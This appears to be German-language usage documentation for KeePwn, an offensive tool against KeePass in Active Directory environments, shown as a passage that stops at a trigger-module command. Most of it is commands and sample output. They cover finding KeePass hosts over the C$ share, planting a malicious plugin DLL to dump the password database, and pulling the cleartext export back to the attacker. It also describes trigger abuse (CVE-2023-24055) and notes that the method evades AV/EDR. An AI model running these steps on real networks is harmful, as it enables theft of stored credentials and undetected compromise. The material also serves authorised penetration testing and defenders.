KeePwn

Das search-Modul von KeePwn wird verwendet, um Hosts zu identifizieren, die KeePass in Ihrer Zielumgebung ausführen:

$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

Es nutzt die in Active Directory integrierte C$ Freigabe, um nach KeePass-bezogenen Dateien an den Standardorten zu suchen, was Administratorrechte auf den Zielen erfordert.

Das Modul durchsucht zunächst die KeePass.config.xml-Konfigurationsdatei im %APPDATA%\KeePass-Ordner jedes Benutzers sowie KeePass.exe im Standardinstallationspfad (C:\Program Files\KeePass Password Safe 2). Wenn eine Konfigurationsdatei gefunden wird, KeePass aber nicht global installiert ist, sucht KeePwn nach portablen Installationen bis zu --max-depth Unterordnern.

Diese einfache Suchtechnik sollte ausreichen, um genau zu bestimmen, ob KeePass auf einer Workstation verwendet wird oder nicht. Zusätzlich verwendet die --get-process-Option die Impacket-RPC-Implementierung, um festzustellen, ob KeePass derzeit auf dem Ziel ausgeführt wird.

Verschiedene Komfortoptionen sind ebenfalls enthalten, mit denen Sie Suchergebnisse in eine CSV-Datei exportieren, nur Ziele anzeigen können, bei denen KeePass gefunden wurde, und die Anzahl der parallelen Threads anpassen können:

$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv

KeePass verfügt über ein Plugin-Framework, das missbraucht werden kann, um schädliche DLLs in den KeePass-Prozess zu laden, wodurch Angreifer mit Administratorrechten die Datenbank leicht exportieren können (siehe: KeeFarceRebornPlugin).

Das plugin-Modul von KeePwn ermöglicht Folgendes:

• Derzeit installierte Plugins auflisten und den Plugin-Cache aufzählen

  $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
  
  [*] No path specified, searching in default locations..
  [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
  [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
  

• Ihre schädlichen Plugins hinzufügen und entfernen

  $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
  
  [*] No path specified, searching in default locations..
  [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
  [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
  > y
  [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
  

• %APPDATA% nach Exporten abfragen und diese automatisch vom entfernten Host in das lokale Dateisystem verschieben

  $ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
  
  [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
  [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
  [+] Moved remote export to ./export.xml
  

Diese Aktionen werden über den Zugriff auf die SMB C$ Freigabe durchgeführt, was die Erkennung durch AV/EDR einschränkt, da keine Befehlsausführung erfolgt.

Wie in @harmj0ys Blogbeitrag (und später CVE-2023-24055) beschrieben, kann das KeePass-Trigger-System missbraucht werden, um die Datenbank im Klartext zu exportieren.

Das trigger-Modul von KeePwn ermöglicht Folgendes:

• Prüfen, ob ein schädlicher Trigger namens „export” derzeit in der KeePass-Konfiguration vorhanden ist

  $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL